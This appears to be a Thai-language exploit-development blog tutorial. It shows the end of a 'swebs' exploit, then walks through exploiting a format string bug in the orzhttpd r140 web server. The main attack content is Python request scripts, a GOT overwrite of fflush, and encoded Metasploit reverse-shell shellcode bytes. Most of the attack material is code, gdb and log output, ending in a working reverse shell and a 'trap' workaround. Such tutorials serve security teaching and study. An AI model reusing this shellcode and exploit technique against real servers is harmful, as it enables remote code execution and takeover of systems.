 15 .rodata       00000b6f  0804d0c8  0804d0c8  000050c8  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
$ objdump -s -j .rodata swebs | head

swebs:     file format elf32-i386

Contents of section .rodata:
 804d0c8 03000000 01000200 57652064 6f6e2774  ........We don't
 804d0d8 2077616e 7420746f 2072756e 20776974   want to run wit

จาก objdump จะได้ว่า secion .rodata ถูกโหลดที่ address 0x0804d0c8 โดยเราสามารถดู content ได้ด้วยคำสั่ง x/s ใน gdb หรือใช้ objdump ที่ผมทำข้างบน ซึ่งจะได้ address ที่เก็บ NULL ไว้คือ 0x0804d0c9

หลังจากได้ address ของ NULL มา แล้วเราจะเขียนทับค่า job เป็นอะไรละ เนื่องจาก job เป็นตัวแปรชนิด struct เวลาอ้างถึงตัวแปรใน struct ใน assembly จะรู้ offset แล้วบวกไปจาก address เริ่มต้นของ struct นั้น ดังนั้นถ้าเรามาดู assembly จากจุดที่โปรแกรม crash (ถ้าใครออกจาก gdb แล้วใครทำอีกรอบให้โปรแกรม crash ที่ strlen(job->reason_500))

(gdb) x/5i $eip-13
   0x804a8b4 <swebs_record_log+232>:    call   0x8048d1c <sprintf@plt>
   0x804a8b9 <swebs_record_log+237>:    mov    0xc(%ebp),%eax
   0x804a8bc <swebs_record_log+240>:    add    $0x1024,%eax
=> 0x804a8c1 <swebs_record_log+245>:    movzbl (%eax),%eax
   0x804a8c4 <swebs_record_log+248>:    test   %al,%al

จะเห็นว่า offset คือ 0x1024 ดังนั้นถ้าเราลองเขียนทับค่า job ใหม่ (ex12_yops_5.py)

(gdb) r
...
[Switching to Thread 0xb7fffb70 (LWP 2053)]
0x42424242 in ?? ()
(gdb) i r eip
eip            0x42424242       0x42424242
(gdb) x/24x $esp-800
0xb7fff030:     0x41414141      0x41414141      0x41414141      0x41414141
0xb7fff040:     0x41414141      0x41414141      0x41414141      0x41414141
0xb7fff050:     0x41414141      0x41414141      0x41414141      0x41414141
0xb7fff060:     0x41414141      0x41414141      0x41414141      0x41414141
0xb7fff070:     0x41414141      0x41414141      0x41414141      0x41414141
0xb7fff080:     0x41414141      0x41414141      0x41414141      0x41414141

โปรแกรม crash เนื่องด้วย eip ชี้ไปที่ invalid address แล้ว ดังนั้นผมจึงหา address ของตัวษร A ของเราต่อทันที ซึ่งจะเป็นที่เราใส่ shellcode เข้าไป โดยผมจะใช้ shellcode เดียวกับตัวอย่างของ orzhttpd และก็ให้ดูด้วยว่าเรามี space ที่จะใส่ shellcode น้อยกว่า 789 bytes (ขนาดของ logrec โดยผมจะใช้ 700 bytes) เพราะตัวแปร method และ file โดนแก้ไข แต่ต้องอย่าลืมว่า shellcode พวกนี้ต้องการใช้พื้นที่ใน stack ดังนั้นเพื่อป้องกันไม่ให้ shellcode เราโดนแก้ไข เราควรทำการ adjust stack pointer ด้วย

ในตัวอย่าง Integer Overflow ผมได้ใส่ "add esp" ซึ่งจะทำให้มี 0x00 ซึ่งเป็น badchar สำหรับโปรแกรมนี้ ดังนั้นวิธีหนึ่งคือนำ shellcode สำหรับ "add esp" มาต่อกับ reverse shell ที่ยังไม่โดน encode แล้วค่อยส่งเข้าไปที่ msfencode ทีเดียว แต่ผมจะใช้อีกวิธีหนึ่ง (ขี้เกียจ) โดยเลี่ยง badchar โดยใช้คำสั่ง "sub esp" กับค่าที่เป็นลบ

$ /opt/metasploit3/msf3/tools/nasm_shell.rb
nasm > sub esp,-200
00000000  81EC38FFFFFF      sub esp,0xffffff38

ได้ทุกอย่างที่ต้องการ นำมาเขียน exploit (ex12_yops.py)

# run ./swebs (ไม่จำเป็นต้องใช้ gdb แล้ว) อีก terminal หนึ่งก่อน
$ nc -nv -l 4444
Connection from 127.0.0.1 port 4444 [tcp/*] accepted
id
uid=1000(worawit) gid=1000(worawit) groups=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),119(admin),122(sambashare),1000(worawit)

Monday, May 2, 2011

Exploiting orzhttpd r140 (disable all security options)

เราดูการเขียน exploit สำหรับโปรแกรมจริงๆ กันบางดีกว่า เดี๋ยวจะหาว่าไม่มีโปรแกรมจริงๆ เลย ตัวอย่างแรกที่จะมาให้ดูคือ orzhttpd rivision 140 ซึ่งมีคนได้เขียน exploit ไว้แล้วที่ http://www.exploit-db.com/exploits/10282/ โดยเราจะมาดูถึงปัญหาของโปรแกรมนี้ และเขียน exploit กัน โดยสมมติว่าโปรแกรม compile แบบไม่มีการป้องกันใดๆ (ถึงแม้โปรแกรมนี้จะเก่า และไม่มีการพัฒนาต่อ บวกกับไม่มีคนใช้งาน แต่อย่างน้อยเราจะได้เห็นว่าเขียน exploit ใน application จริงๆ ขนาดเล็กๆ เป็นอย่างไร)

Installation

ก่อนอื่นเราเริ่มที่ดึง source code แล้ว compile กันก่อน

$ svn export -r 140 http://orzhttpd.googlecode.com/svn/trunk/ orzhttpd
...
Exported revision 140.
$ sudo apt-get install libevent-dev libssl-dev libexpat-dev
...
$ cd orzhttpd
$ CFLAGS="-fno-stack-protector -z norelro -z execstack -D_FORTIFY_SOURCE=0" make linux
...
log.c: In function ‘serverlog’:
log.c:34: warning: format not a string literal and no format arguments
...

เมื่อ compile เสร็จแล้ว ก็ให้ตั้งค่าตามนี้ (ไฟล์ config.xml สำหรับคนไม่อยากแก้เอง)

$ sed -e 's/>www</>www-data</' config.xml.sample > config.xml
$ sudo mkdir -p /usr/local/www/log /usr/local/www/data
$ sudo chown www-data: /usr/local/www/log
$ sudo touch /usr/local/www/data/index.html

เมื่อทุกอย่างพร้อมแล้ว ก็เริ่ม orzhttpd ด้วยคำสั่ง

$ sudo ./orzhttpd -f config.xml

Vulnerability

เรามาดูปัญหาของโปรแกรม โดยผมจะอาศัยข้อมูลที่มีอยู่แล้วใน internet เพื่อความรวดเร็ว จาก svn log ที่ http://code.google.com/p/orzhttpd/source/detail?r=141 จะเห็นว่าปัญหาอยู่ใน log.c และเมื่อเราดู diff จะเห็นว่ามีการแก้ไขอยู่ 2 บรรทัด คือบรรทัดของคำสั่ง vsprintf กับ fprintf

    if (format != NULL)
    {
        va_start(ap, format);
        vsprintf(buf, format, ap); // ไม่มีการกำหนดว่าให้ใส่ข้อมูล buf ได้เท่าไร ==> buffer overflow
        va_end(ap);
    }

    fprintf(log, buf); // นำข้อมูลมาใช้เป็น format string ==> format string bug
    fflush(log);

โดยในโปรแกรมนี้ ผมจะ exploit ที่ format string bug เนื่องจากถ้าเราทำ stack based buffer overflow เราจะต้องมีการเขียนทับตัวแปร ap และ log ก่อนจะสามารถเขียนทับ saved eip ได้ ทำให้เราต้องเขียนค่าที่สามารถทำให้โปรแกรมทำงานจนจบ function เราถึงจะควบคุม eip ได้ ซึ่งจะยากกว่าการใช้ format string bug ที่สามารถเขียนทับที่ไหนก็ได้เลย

เรามาดูกันก่อนดีกว่าว่า ส่วนโค้ดที่มีปัญหาในฟังก์ชัน serverlog() โดนเรียกเมื่อไร จากไหน จะเห็นว่า

$ grep -n serverlog *.c
log.c:7:serverlog(LOG_TYPE_t type, const char *format, ...)
log.c:84:    server->log = serverlog;

จะเห็นว่า serverlog function นั้น ไม่โดนเรียกโดยตรง แต่ใช้ pointer to function server->log เก็บ address ของ serverlog function และเมื่อหาต่อ

$ grep -n 'server->log' *.c
log.c:84:    server->log = serverlog;
log.c:86:    if (server->log == NULL)
log.c:87:       error_exit("server->log == NULL");
log.c:136:      server->log(ACCESS_LOG, "%s %s - [%s] \"%s %s?%s %s\" %d %d \"%s\"\n",
log.c:145:      server->log(ACCESS_LOG, "%s %s - [%s] \"%s %s %s\" %d %d \"%s\"\n",
request.c:60:    server->log(ERROR_LOG, "%s\n", conn->read_buf.buf);
status.c:160:   server->log(ERROR_LOG, "%s", response);

ถ้าเราดูใน request.c และ status.c จะเห็นว่า code ที่เรียก server->log() นั้นอยู่ใน "#ifdef HTTPD_DEBUG" ซึ่งจะไม่ถูก compile อยู่ใน binary ของเรา ดังนั้นเรามาดูที่ log.c จะอยู่ในฟังก์ชัน log_request

void
log_request(CONN_t *conn)
{
#ifdef  IPV6_HTTPD
    char            address[INET6_ADDRSTRLEN];
#else
    char            address[INET_ADDRSTRLEN];
#endif
    char            datemsg[30];
    int             ret;

    if (conn->status.st == HTTP_STATUS_400)
        return;

    if ((ret = get_IP((struct sockaddr *)&conn->cin, server->salen, address, sizeof(address))) != 0)
    {
        *address = '\0';
#if 0
        fprintf(stderr, "getnameinfo error: %s\n", gai_strerror(ret));
#endif
    }

    if (conn->request.uri.query)
        server->log(ACCESS_LOG, "%s %s - [%s] \"%s %s?%s %s\" %d %d \"%s\"\n",
                address, conn->request.uri.authority,
                log_time(datemsg, sizeof(datemsg)),
                http_method_str(conn),
                conn->request.uri.path_raw, conn->request.uri.query,
                http_version(conn),
                conn->status.st, conn->response.content_length,
                conn->request.user_agent);
    else
        server->log(ACCESS_LOG, "%s %s - [%s] \"%s %s %s\" %d %d \"%s\"\n",
                address, conn->request.uri.authority,
                log_time(datemsg, sizeof(datemsg)),
                http_method_str(conn),
                conn->request.uri.path_raw,
                http_version(conn),
                conn->status.st, conn->response.content_length,
                conn->request.user_agent);
}

จะเห็นว่าฟังก์ชันชื่อ log_request และเมื่อดูจาก arguments ต่างๆที่เรียก serverlog function ทำให้เดาได้ว่า ทุกๆ request ที่มีการ log จะมีการเรียกโค้ดที่มีปัญหา

เมื่อดู argument conn->request.uri.path_raw ซึ่งเดาได้ว่าคือ request ของเรามีการส่งผ่านไปที่ serverlog function และเมื่อถึงบรรทัด vsprintf ซึ่งไม่มีการกำหนดขนาดของ buf ทำให้เมื่อเราส่ง request ที่มีขนาดยาวๆ จะทำให้เกิด buffer overflow แต่เราจะไม่ทำให้เกิด buffer overflow ในกรณีนี้

เมื่อโปรแกรมทำงานถึงบรรทัด fprintf เพื่อที่จะเขียน log ลงในไฟล์ สำหรับคนที่ยังไม่มีประสบการณ์ อาจจะมองว่าตัวแปร buf นั้น โปรแกรมควมคุบเอาไว้ แต่จริงๆ แล้วถ้าเราส่ง request ที่เป็น format string เช่น "%x" จะทำให้ตัวแปร buf มี format string ที่มาจากเรา และเมื่อโปรแกรมเรียก fprintf ที่ใช้ buf เป็น format string ทำให้โปรแกรมแปล format string ที่เราส่งเข้าไป

Exploitation

ถึงเวลาเริ่มเขียน exploit กันแล้ว เรามาลองเขียนโปรแกรมเล็กๆ (ex12_orzhttpd_1.py) เพื่อที่จะดูผลลัพธ์กันก่อน

import socket

target_ip = "127.0.0.1"
target_port = 80
def send_request(ip, port, request):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip, port))
    s.send(request)
    msg = s.recv(8192)
    s.close()
    return msg

print send_request(target_ip, target_port, "GET /index.html HTTP/1.0\r\n\r\n")
print send_request(target_ip, target_port, "GET %x%x HTTP/1.0\r\n\r\n")
print send_request(target_ip, target_port, "GET /%x%x HTTP/1.0\r\n\r\n")
print send_request(target_ip, target_port, "PWN /%x%x HTTP/1.0\r\n\r\n")
$ python ex12_orzhttpd_1.py
HTTP/1.0 200 OK
Date: Mon, 02 May 2011 08:03:25 GMT
Connection: close
Server: OrzHTTPd/0.0.6 (Linux)
Content-Type: text/html
Content-Length: 0
Last-Modified: Fri, 15 Apr 2011 08:57:50 GMT


HTTP/1.0 400 Bad Request

HTTP/1.0 404 Not Found

HTTP/1.0 501 Not Implemented

และเมื่อดูที่ log

$ cat /usr/local/www/log/orzhttpd.access.log
127.0.0.1 - - [02/May/2011 15:03:25 +0700] "GET /index.html HTTP/1.0" 200 0 "-"
127.0.0.1 - - [02/May/2011 15:03:25 +0700] "GET /bfffe528bfffe528 HTTP/1.0" 404 0 "-"
127.0.0.1 - - [02/May/2011 15:03:25 +0700] "GET /bfffe528bfffe528 HTTP/1.0" 501 0 "-"

จะเห็นว่าเรา request ไป 4 ครั้ง แต่มี log เพียงแค่ 3 อัน ซึ่งเมื่อดูแล้ว จะไม่มี log ของ return code 400 ซึ่งเป็นที่ request ที่ 2 "GET %x%x" ส่วนใน request ที่ 3 เป็นการยืนยัน format string bug และใน request ที่ 4 ถึงแม้ว่าเราจะใช้ HTTP method โปรแกรมก็ยังคง log และถ้าเราลองส่ง request จากเครื่องอื่น (IP: 192.168.1.101) จะเห็น log เป็น

192.168.1.101 - - [02/May/2011 15:10:36 +0700] "GET /index.html HTTP/1.0" 200 0 "-"
192.168.1.101 - - [02/May/2011 15:10:36 +0700] "GET /bfffe528bfffe528 HTTP/1.0" 404 0 "-"
192.168.1.101 - - [02/May/2011 15:10:36 +0700] "GET /bfffe528bfffe528 HTTP/1.0" 501 0 "-"

จะเห็นว่าใน log จะมีการใส่ IP ของเครื่อง client ไว้ด้วย ซึ่งความยาวอาจจะมีความยาวไม่เท่ากัน โดยจะมีผลกับการอ้างตำแหน่งของ argument สำหรับ format string ที่เราจะใส่ เพราะว่า format string ของเราที่อยู่ในตัวแปร buf นั้นอยู่หลัง "GET /" ถ้าความยาวของ string ข้างหน้าไม่คงที่ จะทำให้ exploit เราทำงานได้บ้่าง ไม่ได้บ้าง (เดี๋ยวจะเห็นว่าจะจัดการกับกรณีนี้ยังไง)

เมื่อเราเห็นแล้วว่าสามารถใช้ format string bug ได้ ขั้นตอนต่อไปคือหา ตำแหน่งของ argument ที่อยู่ในส่วนที่เราควบคุม และจะใส่ address ที่จะเขียนลงไป (ex12_orzhttpd_2.py) โดยในนี้จะแสดงเฉพาะส่วนสำคัญ

for i in range(1, 25):
    print send_request(target_ip, target_port, "GET /AAAA_%d_%%%d$x HTTP/1.0\r\n\r\n" % (i,i))

และเมื่อดูใน log จะได้

127.0.0.1 - - [02/May/2011 20:21:34 +0700] "GET /AAAA_1_bfffe528 HTTP/1.0" 404 0 "-"
...
127.0.0.1 - - [02/May/2011 20:21:34 +0700] "GET /AAAA_14_20544547 HTTP/1.0" 404 0 "-"
127.0.0.1 - - [02/May/2011 20:21:34 +0700] "GET /AAAA_15_4141412f HTTP/1.0" 404 0 "-"
127.0.0.1 - - [02/May/2011 20:21:34 +0700] "GET /AAAA_16_36315f41 HTTP/1.0" 404 0 "-"
...

จะเห็นว่าตำแหน่ง argument ของ format string ที่เราเริ่มควบคุมได้คือ 15 แต่ถ้าผมลองต่อจาก IP 192.168.1.101 ดูจะได้ log เป็น

...
192.168.1.101 - - [02/May/2011 20:31:02 +0700] "GET /AAAA_15_20544547 HTTP/1.0" 404 0 "-"
192.168.1.101 - - [02/May/2011 20:31:02 +0700] "GET /AAAA_16_4141412f HTTP/1.0" 404 0 "-"
192.168.1.101 - - [02/May/2011 20:31:02 +0700] "GET /AAAA_17_37315f41 HTTP/1.0" 404 0 "-"
...

คราวนี้อยู่ที่ตำแหน่ง 16 เลื่อนไปหนึ่ง แล้วเราจะทำให้ exploit เรา reliable ได้ไงละเนี่ย ง่ายๆ คือเราต้องรู้ IP ของเราที่ server เห็นก่อนที่จะ exploit แล้วเราจะต้องนำความยาวมาคำนวณ ความ IPv4 address ที่สั้นที่สุดที่เป็นไปได้คือ "x.x.x.x" ซึ่งยาว 7 และ IPv4 address ที่ยาวที่สุดที่เป็นไปได้คือ "xxx.xxx.xxx.xxx" ซึ่งยาว 15

เราได้ตำแหน่ง argument ของ format string ของ "192.168.1.101" ซึ่งยาว 13 ดังนั้นถ้า IP address ยาว 15 ตัวอักษรเราจะใส่ "/A" สำหรับ padding และใช้ตำแหน่ง 17,18 สำหรับอ้างอิงใน format string ของเรา ส่วนถ้า IP address ที่สั้นกว่านี้ เราะจะ pad ด้วย A ชดเชยความยาว IP address ที่สั้นลง ซึ่งจะโค้ดเป็นแบบนี้ (ex12_orzhttpd_3.py)

my_pub_ip = "127.0.0.1"
# 15 is max IP address length "xxx.xxx.xxx.xxx"
req_string = "GET /A" + "A"*(15-len(my_pub_ip)) + "BBBBCCCC" + "_%17$x%18$x HTTP/1.0\r\n\r\n"
print send_request(target_ip, target_port, req_string)
127.0.0.1 - - [02/May/2011 20:52:18 +0700] "GET /AAAAAAABBBBCCCC_4242424243434343 HTTP/1.0" 404 0 "-"
192.168.1.101 - - [02/May/2011 20:51:33 +0700] "GET /AAABBBBCCCC_4242424243434343 HTTP/1.0" 404 0 "-"

เมื่อได้ตำแหน่งของ argument สำหรับ format string ต่อมาคือหาว่าเราจะเขียนทับที่ไหน โดยผมจะเขียนทับที่ GOT entry fflush เพราะว่าจะมีการเรียก fflush หลังจากการเรียก fprintf ที่เราสามารถเขียบทับค่าที่ไหนก็ได้

$ objdump -R orzhttpd | grep fflush
0804ea04 R_386_JUMP_SLOT   fflush

สำหรับค่าที่จะใส่ใน fflush GOT entry นั้นคือ address ของ shellcode ของเรา ดังนั้นเราต้องหา address โดยลองส่ง request เข้าไปพร้อมกับ format string เพื่อทำการทดสอบ (ex12_orzhttpd_4.py)

req_fmt = pack("<II", 0x0804ea06, 0x0804ea04) + "%17$hn%18$hn"
sc = "\x90"*1024
print send_request(target_ip, target_port, req_padding + req_fmt + sc + " HTTP/1.0\r\n\r\n")

เราจะ gdb เพื่อดูค่า โดยเราจะตั้ง breakpoint ไว้ที่ fflush

$ objdump -D orzhttpd | grep -A 10 vsprintf
...
--
 804a8dc:       e8 b3 e8 ff ff          call   8049194 <vsprintf@plt>
 804a8e1:       83 c4 10                add    $0x10,%esp
...
 804a8f6:       e8 d9 e9 ff ff          call   80492d4 <fflush@plt>
 804a8fb:       83 c4 10                add    $0x10,%esp
$ sudo gdb -p `ps -C orzhttpd -o pid=`
...
0x0012d422 in __kernel_vsyscall ()
(gdb) b *0x804a8f6
Breakpoint 1 at 0x804a8f6
(gdb) c
Continuing.

Breakpoint 1, 0x0804a8f6 in ?? ()
(gdb) x/x 0x0804ea04
0x804ea04:      0x00400040    # จะเห็นว่าจำนวนที่ print ไปโดย default คือ 0x40
(gdb) x/64x $esp
...
0xbfffe6d0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffe6e0:     0x90909090      0x90909090      0x90909090      0x90909090
(gdb) q

หลังจากออกจาก gdb ต้องการทำเริ่มโปรแกรม orzhttpd ใหม่ เพราะโปรแกรมนี้ทำงานแบบ thread ซึ่งถ้าเกิดการ crash ขึ้นมาจะทำให้ทั้ง process จบการทำงาน และเมื่อได้ address ที่เราต้องการเราจะทำการใส่เข้าไปใน exploit พร้อมกับ shellcode ที่กับการ reverse shell มาหาเรา

ถ้าใครลองเอา shellcode ที่ผมเคยเขียนไว้ใส่เข้าไป จะเห็นว่าโปรแกรม crash เพราะ shellcode ที่ผมให้ไปนั้นมี badchar ซึ่งที่เห็นเป็นอันแรกคือ 0x00 จากข้อมูลเราที่ต้องผ่าน vsprintf และที่เห็นๆ กับ HTTP protocol คือ 0x0a (\n), 0x0d (\r) และ 0x20 (ช่องว่าง) โดยในครั้งนี้ผมจะใช้ shellcode จาก metasploit พร้อมกับใช้ msfencode เพื่อหลีกเลี่ยง badchar

$ msfpayload linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 R | msfencode -b '\x00\x0a\x0d\x20' -t ruby
[*] x86/shikata_ga_nai succeeded with size 98 (iteration=1)

buf =
"\xbf\xf3\x54\xe8\x0f\xda\xcb\xd9\x74\x24\xf4\x58\x31\xc9" +
"\xb1\x12\x83\xc0\x04\x31\x78\x11\x03\x78\x11\xe2\x06\x65" +
"\x33\xf8\x0b\xd5\x80\x54\xa1\xd8\x8f\xba\x85\xbb\x42\xbc" +
"\xbe\x1d\x35\xc2\x40\xa2\xc4\x5a\x28\xb3\x9a\xc4\xfb\xd9" +
"\x32\x58\xab\x94\xd2\x19\x21\xc1\x4c\x53\x35\x54\xea\xb2" +
"\x85\x58\x39\xc4\xac\xdf\x38\x95\x46\x0f\x94\x65\xfe\x27" +
"\xc5\xeb\x97\xd9\x90\x0f\x37\x75\x2a\x2e\x07\x72\xe1\x31"

สุดท้าย เราจะได้ exploit ที่ทำ reverse shell มาที่ 127.0.0.1:4444 (ex12_orzhttpd.py) และเมื่อเราใช้ nc เพื่อรอรับ shell จะได้

$ nc -nv -l 4444
Connection from 127.0.0.1 port 4444 [tcp/*] accepted
$

เกิดอะไรขึ้น netcat บอกว่ามี connection มาเรียบร้อยแล้ว แต่เมื่อ accepted จะเห็นว่า connection หลุดทันที เรายังไม่ได้ทำการ disconnect เลย ถ้าเราลองพิมพ์คำสั่ง id ไว้ก่อนจะได้

$ nc -nv -l 4444
id      # <=== พิมพ์ไว้ก่อนจะยิง exploit พร้อมกับกด enter
Connection from 127.0.0.1 port 4444 [tcp/*] accepted
uid=33(www-data) gid=33(www-data) groups=0(root)
$

เหมือนกับว่า connection นี้จะ disconnect ทันทีที่ไม่มีข้อมูล โดยเราสามารถตรวจสอบว่าเกิดอะไรขึ้นด้วยคำสั่ง strace ซึ่งเป็นคำสั่งสำหรับ trace system call (อย่าลืมให้รัน nc ให้ listen connection ด้วยนะครับ)

$ sudo strace -p `ps -C orzhttpd -o pid=`
clock_gettime(CLOCK_MONOTONIC, {6046, 379087659}) = 0
epoll_wait(6, 806ea88, 32, -1)          = -1 EINTR (Interrupted system call)
--- SIGALRM (Alarm clock) @ 0 (0) ---
time(NULL)                              = 1304348030
sigreturn()                             = ? (mask now [])
clock_gettime(CLOCK_MONOTONIC, {6047, 379100497}) = 0
...
execve("/bin//sh", ["/bin//sh"], [/* 0 vars */]) = 0
...
read(0, 0x805d600, 8192)                = ? ERESTARTSYS (To be restarted)
--- SIGALRM (Alarm clock) @ 0 (0) ---
Process 2040 detached

จะเห็นว่าจะมีการใช้ SIGALRM ใน orzhttpd และหลังจาก process ทำการ execve เพื่อเปลี่ยน process ตัวเองเป็น /bin/sh แล้ว SIGALRM ยังคงทำงานอยู่ และเมื่อ shell เราที่ทำคำสั่ง read เพื่อคอยรับคำสั่งจากเราโดน interrupt ทำให้ /bin/sh คิดว่า input หมดแล้ว และทำการจบโปรแกรม ทำให้ connection เราหลุด

วิธีแก้ปัญหานี้ อาจทำได้ด้วยเพิ่ม shellcode สำหรับ disable SIGALRM เข้าไป โดยให้ ignore SIGALRM หรือวิธีง่ายกว่านั้นคือใช้คำสั่ง "trap "" 14" (14 คือหมายเลขของ SIGALRM) ใน shell หลังจากที่เราได้ทันที เพื่อให้ ignore SIGALRM

คำสั่ง trap นี้เราอาจจะพิมพ์ไว้ก่อน หลังจากที่เรารัน netcat หรือใช้ echo แล้ว pipe ไปที่ stdin ของ netcat ก็ได้ แต่ถ้าเราใช้ pipe เราจะต้องมีอีกคำสั่งหนึ่งเพื่อให้ pipe ยังคงอยู่ และ stdin สำหรับ netcat ไม่จบ ซึ่งโดยปกติจะใช้คำสั่ง cat

$ (echo 'trap "" 14';cat) | nc -nv -l 4444
Connection from 127.0.0.1 port 4444 [tcp/*] accepted
id
uid=33(www-data) gid=33(www-data) groups=0(root)
exit

$

ได้ exploit สำหรับ orzhttpd แล้ว หวังว่าไม่ยากเกินไปนะครับ :)